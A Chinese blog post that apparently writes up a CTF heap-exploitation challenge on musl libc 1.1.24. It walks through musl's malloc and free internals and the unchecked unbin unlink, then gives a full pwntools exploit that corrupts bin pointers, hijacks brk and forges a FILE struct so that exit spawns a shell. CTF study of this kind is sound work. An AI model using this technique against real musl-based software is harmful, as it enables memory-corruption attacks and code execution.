musl 1.1.24利用方式
196082 慢慢好起来

这个月干的是属实有点儿少,感觉特别迷茫,学了那么多结果比赛还是一头雾水,虽然很烦躁但是还是不能放弃啊!

在starCTF的第二道题我始终找不到漏洞点在哪,下来看wp才发现使用的libc不是普通的glibc了,其实在RCTF的一道题目就是基于musl的但是无奈github的仓库当中并没有题目的源码所以没去深入了解,在starCTF过后也算是了解一下这一相较于glic更为轻量的libc了。

首先本文先介绍一下这一libc

musl 1.1.24

musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如 Alpine Linux(做过 Docker 镜像的应该很熟悉)、OpenWrt(常用于路由器)和 Gentoo 等。

数据结构

这一版本的chunk结构其实是和glibc相差不大的。

1
2
3
4
struct chunk {
size_t psize, csize;
struct chunk *next, *prev;
};

psize和csize字段都有标志位(glibc 只有size字段有),但只有一种位于最低位的标志位INUSE(glibc 最低三位都有标志位)。若设置INUSE标志位(最低位为1),表示 chunk 正在被使用;若没有设置INUSE标志位(最低位为0),表示 chunk 已经被释放或者通过mmap分配的,需要通过psize的标志位来进一步判断 chunk 的状态。

1
2
3
4
5
static struct {
volatile uint64_t binmap;
struct bin bins[64];
volatile int free_lock[2];
} mal;

这个mal结构体很类似main_arena,里面记录着堆的信息,有三个成员:64位无符号整数binmap、链表头部数组bins和锁free_lock。binmap记录每个 bin 是否为非空,若某个比特位为 1,表示对应的 bin 为非空,即 bin 链表中有 chunk。

1
2
3
4
5
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};

bin 链表头部的结构如上。head和tail指针分别指向首部和尾部的 chunk,同时首部 chunk 的prev指针和尾部 chunk 的next指针指向 bin 链表头部,这样构成了循环链表。当链表为空时,head和tail指针等于 0 或者指向链表头部自身。

看mal结构可以看到有64的bin,前面32个bin是类似于small bin的结构,存放的chunk的大小是固定的,但是后面的就类似于large bin存放的是在一定范围的chunk了。

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// src/malloc/malloc.c L284-L331
void *malloc(size_t n)
{
struct chunk *c;
int i, j;

// 1. n 增加头部长度 OVERHEAD (0x10),对齐 32 位:
// *n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;
if (adjust_size(&n) < 0) return 0;

// 若 n 到达 MMAP_THRESHOLD (0x38000),使用 mmap chunk
if (n > MMAP_THRESHOLD) {
[...]
return CHUNK_TO_MEM(c);
}

// 2. 计算 n 对应的 bin 下标 i
i = bin_index_up(n);
for (;;) {
// 3. 查找 binmap
uint64_t mask = mal.binmap & -(1ULL<<i);
// 若所有的可用 bin 均为空,调用 expand_heap 函数延展堆空间,生成新的 chunk
if (!mask) {
c = expand_heap(n);
[...]
break;
}
// 4. 获取大小最接近 n 的可用 bin 下标 j
j = first_set(mask);
lock_bin(j);
c = mal.bins[j].head; // c 是 bin j 链表首部的 chunk
// 5. 若符合条件,使用 pretrim 分割 c,否则使用 unbin 从链表中取出 c
if (c != BIN_TO_CHUNK(j)) {
if (!pretrim(c, n, i, j)) unbin(c, j);
unlock_bin(j);
break;
unlock_bin(j);
}

// 6. 回收 c 中大小超过 n 的部分
/* Now patch up in case we over-allocated */
trim(c, n);

return CHUNK_TO_MEM(c);
}

大概步骤就是:

  1. 调整n,增加头部的长度然后对齐32位

  2. 如果n>MMAP_THRESHOLD,则使用mmap创建一块大小为n的内存返回

  3. 如果n<=MMAP_THRESHOLD,计算n对应的bin的i,查找binmap

    ​ 如果所有可用bin都为空,那么就扩展堆空间,生存一个新的chunk

    ​ 如果存在非空的bin,则大小最接近n的bin,将bin首部的chunk返回

    ​ 如果符号pretrime条件,使用pretrime分割

    ​ 否则使用unbin从链表中取出

    ​ 最后对chunk进行trim,返回给用户

1
2
3
4
5
6
7
8
9
10
11
12
static void unbin(struct chunk *c, int i)
{
// 若 bin 只有一个 chunk,将 bin 设为空 bin
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
// 取出链表中的 chunk
c->prev->next = c->next;
c->next->prev = c->prev;
// 设置 INUSE 标志位
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}

这其实就是取出chunk的一个操作,可以看到取出的过程中并没有检测chunk指针的合法性,这也就造成了安全隐患

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
size_t n1;
struct chunk *next, *split;

// 条件 1: bin j 下标大于 40
/* We cannot pretrim if it would require re-binning. */
if (j < 40) return 0;
// 条件 2: bin j 与 i 相隔 3 个 bin 或以上,
// 或者 j 等于 63 且 split 的大小大于 MMAP_THRESHOLD
if (j < i+3) {
if (j != 63) return 0;
n1 = CHUNK_SIZE(self);
if (n1-n <= MMAP_THRESHOLD) return 0;
} else {
n1 = CHUNK_SIZE(self);
}
// 条件 3: split 的大小属于 bin j 范围内,即 split 与 self 属于同一个 bin
if (bin_index(n1-n) != j) return 0;

// 切割出一块大小为 n 的 chunk
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1-n;
next->psize = n1-n;
self->csize = n | C_INUSE;
return 1;
}

pretrim的作用是切割大 chunk,防止把大小超过需求的 chunk 分配给用户。当满足一定条件时,pretrim从 bin 链表首部 chunk 切割出一块大小刚好符合需求的小 chunk,然后将小 chunk 分配给用户,链表首部 chunk 的位置保持不变。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void trim(struct chunk *self, size_t n)
{
size_t n1 = CHUNK_SIZE(self);
struct chunk *next, *split;

// 条件:self 的大小 n1 多于 n DONTCARE (0x10) 字节
if (n >= n1 - DONTCARE) return;

// 将 self 的大小切割为 n,剩余部分成为新的 chunk split
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->psize = n | C_INUSE;
split->csize = n1-n | C_INUSE;
next->psize = n1-n | C_INUSE;
self->csize = n | C_INUSE;

// 将 split 释放到 bin
__bin_chunk(split);
}

malloc 的最后一步是trim,主要作用是回收 chunk 超过需求大小的部分。trim将 chunk 多余的部分切割出来,然后将其释放到 bin 中,减少内存浪费。

free

1
2
3
4
5
6
7
8
9
10
11
12
13
void free(void *p)
{
if (!p) return;

struct chunk *self = MEM_TO_CHUNK(p);

// 若 csize 没有设置 INUSE 标志位,检查是否为 mmap chunk 或者 double free
// #define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
if (IS_MMAPPED(self))
unmap_chunk(self);
else
__bin_chunk(self);
}
1
2
3
4
5
6
7
8
9
10
static void unmap_chunk(struct chunk *self)
{
size_t extra = self->psize;
char *base = (char *)self - extra;
size_t len = CHUNK_SIZE(self) + extra;
// 若 prev size 设置了 INUSE 标志位,视为 double free,crash
/* Crash on double free */
if (extra & 1) a_crash();
__munmap(base, len);
}

free 先对 chunk 进行 mmap / double free 检查。如果 chunk 的csize字段没有设置INUSE标志位,进入unmap_chunk函数检查psize字段。如果psize字段设置了INUSE标志位,视为 double free,crash;否则视为 mmap chunk,调用__munmap函数释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;

// new_size 是 self 原来的大小,final_size 是 self 合并空闲 chunk 后的大小
final_size = new_size = CHUNK_SIZE(self);

// 若下一个 chunk 的 psize 不等于 self 的 csize,则 crash
/* Crash on corrupted footer (likely from buffer overflow) */
if (next->psize != self->csize) a_crash();

// 1. 检查 self 前后是否有空闲 chunk
for (;;) {
if (self->psize & next->csize & C_INUSE) {
// 去除 INUSE 标志位
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
// 计算 final_size 对应的 bin 下标 i
i = bin_index(final_size);
lock_bin(i);
lock(mal.free_lock);
if (self->psize & next->csize & C_INUSE)
break; // 退出循环
unlock(mal.free_lock);
unlock_bin(i);
}

// 向前合并空闲 chunk
if (alloc_rev(self)) { // 从 bin 链表取出待合并的空闲 chunk
self = PREV_CHUNK(self);
size = CHUNK_SIZE(self);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}

// 向后合并空闲 chunk
if (alloc_fwd(next)) { // 从 bin 链表取出待合并的空闲 chunk
size = CHUNK_SIZE(next);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}

//2. 在 binmap 中,将 bin i 设为非空 bin
if (!(mal.binmap & 1ULL<<i))
a_or_64(&mal.binmap, 1ULL<<i);

self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);

// 3. 将 self 加入到 bin i 链表的尾部
self->next = BIN_TO_CHUNK(i);
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;

/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
[...]
}

unlock_bin(i);
}

__bin_chunk函数的作用是将 chunk 插入到 bin 链表中。首先合并 chunk 前后的空闲 chunk、设置 binmap 和 chunk 标志位,最后将 chunk 插入到对应的 bin 链表中。

然后在musl当中的堆管理为了减少内存的使用会直接将libc和程序当中的空闲的内存当作堆内存,而glibc的堆地址一般都是位于内存中的动态内存区域。

XCTF_2020_PWN_musl

image-20220427153926579

可以看到这里确实是直接在libc和process上面有堆的地址。

题目分析

就是很经典的菜单题,并且在create函数里面有一处只能运行一次的0x50的溢出,而且题目只有一处使用exit退出程序,然后show函数也只有一次。

利用分析

其实利用思路就很简单了,存在溢出,unbin又有如此大的安全隐患,所以就是通过溢出修改掉next指针和prev指针从而实现任意地址写,造成FSOP

这里说一下怎么造成的FSOP

1
2
3
4
5
6
7
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();
_Exit(code);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

可以看到最后是有机会调用到file的内部函数指针的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct _IO_FILE {
unsigned flags;
unsigned char *rpos, *rend;
int (*close)(FILE *);
unsigned char *wend, *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev, *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim, shcnt;
FILE *prev_locked, *next_locked;
struct __locale_struct *locale;
};

所以我们需要利用exit来执行FSOP,不过难点就是怎么运行到exit,因为需要malloc返回一个0xdeadbeef,在上面可以看到,如果所有的bin都为空,此时malloc就会调用expand_heap来扩展堆,本质还是调用了__expand_heap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void *__expand_heap(size_t *pn)
{
static uintptr_t brk;
static unsigned mmap_step;
size_t n = *pn;

if (n > SIZE_MAX/2 - PAGE_SIZE) {
errno = ENOMEM;
return 0;
}
n += -n & PAGE_SIZE-1;

if (!brk) {
brk = __syscall(SYS_brk, 0);
brk += -brk & PAGE_SIZE-1;
}

if (n < SIZE_MAX-brk && !traverses_stack_p(brk, brk+n)
&& __syscall(SYS_brk, brk+n)==brk+n) {
*pn = n;
brk += n;
return (void *)(brk-n);
}

size_t min = (size_t)PAGE_SIZE << mmap_step/2;
if (n < min) n = min;
void *area = __mmap(0, n, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (area == MAP_FAILED) return 0;
*pn = n;
mmap_step++;
return area;
}

在__expand_heap函数中,brk是指向数据段末尾位置的指针。__expand_heap函数调用 brk 系统调用__syscall(SYS_brk, brk+n),将数据段末尾向后延展n字节,然后延展部分返回给malloc作为新的 chunk 分配给用户

若程序不开启 PIE,数据段的地址长度为 24 bit(0~0x2000000),内存位置与0xBADBEEF比较接近。若将brk指针修改为0xBADBEEF - n,brk 系统调用就会把数据段延展至0xBADBEEF,使其成为可访问的内存地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

elf = ELF('./carbon')
# r = process(['./libc.so', 'carbon'])
# libc = ELF('./libc.so')
# r = process(['/ctf/work/download/libc.so', './carbon'])
# libc = ELF('/ctf/work/download/libc.so')
r = process(['../../libc/libc1.1.24.so', './carbon'])
libc = ELF('../../libc/libc1.1.24.so')

context.terminal = ['tmux', 'splitw', '-h']


def menu(option):
r.recvuntil(b'> ')
r.sendline(bytes(str(option), encoding='utf8'))


def create(size, believer, content):
menu(1)
r.recvuntil(b'What is your prefer size? >')
r.sendline(bytes(str(size), encoding='utf8'))
r.recvuntil(b'Are you a believer? >')
r.sendline(believer)
r.recvuntil(b'Say hello to your new sleeve >')
r.send(content)


def delete(idx):
menu(2)
r.recvuntil(b'What is your sleeve ID? >')
r.sendline(bytes(str(idx), encoding='utf8'))


def edit(idx, content):
menu(3)
r.recvuntil(b'What is your sleeve ID? >')
r.sendline(bytes(str(idx), encoding='utf8'))
r.send(content)


def show(idx):
menu(4)
r.recvuntil(b'What is your sleeve ID? >')
r.sendline(bytes(str(idx), encoding='utf8'))


context.log_level = 'debug'
context.arch = 'amd64'
create(0x1, b'N', b'a')
show(0)
libc_base = u64(r.recvuntil(b'Done.', drop=True).ljust(8, b'\x00')) - 0x29de61
print('libc_base=>', hex(libc_base))
bin_addr = libc_base + 0x29de00 - 0x8
stdin_addr = libc_base + libc.symbols['__stdin_FILE']
system_addr = libc_base + libc.symbols['system']
binmap_addr = libc_base + 0x29da80
brk_addr = libc_base + libc.symbols['brk']

create(0x10, b'N', b'a' * 0x10) # 1
create(0x10, b'N', b'a' * 0x10) # 2
create(0x10, b'N', b'a' * 0x10) # 3
create(0x10, b'N', b'a' * 0x10) # 4
create(0x10, b'N', b'a' * 0x10) # 5
create(0x10, b'N', b'a' * 0x10) # 6
create(0x10, b'N', b'a' * 0x10) # 7
create(0x10, b'N', b'a' * 0x10) # 8

delete(1)
delete(3)

payload = b'a' * 0x10
payload += p64(0x21) + p64(0x21) + b'a' * 0x10
payload += p64(0x21) + p64(0x20) + p64(stdin_addr -
0x10) + p64(stdin_addr -
0x10) + p8(0x20)

create(0x10, b'Y', payload + b'\n') # 1
create(0x10, b'N', b'a' * 0x10) # 3

delete(5)
edit(3, flat(stdin_addr - 0x10, bin_addr))
create(0x10, b'N', b'a' * 0x10) # 5
file_struct = b'/bin/sh\x00' + b'a' * 0x20
file_struct += p64(0) * 2 + p64(1) * 2 + p64(system_addr)
create(0x50, b'N', b'\n') # 9

delete(7)
edit(3, flat(brk_addr - 0x10, brk_addr - 0x10))
create(0x10, b'N', b'a' * 0x10) # 7

delete(1)
edit(3, flat(binmap_addr - 0x10, binmap_addr - 0x10))
create(0x10, b'N', b'a' * 0x10) # 1

delete(7)
edit(3, flat(binmap_addr - 0x10, bin_addr))
create(0x10, b'N', b'a' * 0x10) # 7
create(0x50, b'N', b'\n') # 10

delete(1)
edit(3, flat(brk_addr - 0x10, bin_addr))
create(0x10, b'N', b'a' * 0x10) # 1
create(0x50, b'N', b'\n') # 11

edit(9, file_struct)
edit(11, p64(0xbadbeef - 0x20) + b'\n')
edit(10, b'a' * 0x10 + p64(0) + b'\n')

r.recvuntil(b">")
r.sendlien(b'1')
r.recvuntil(b'What is your prefer size? >')
r.sendline(b'0')

r.interactive()

然后就是我这里的libc是自己编译的和题目一直有出入,所以我这个exp可能不能直接用在题目上,同时我也问了其他师傅这个编译该怎么办,还在等回复~


参考链接:https://www.anquanke.com/post/id/202253%23h2-4#h3-14

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量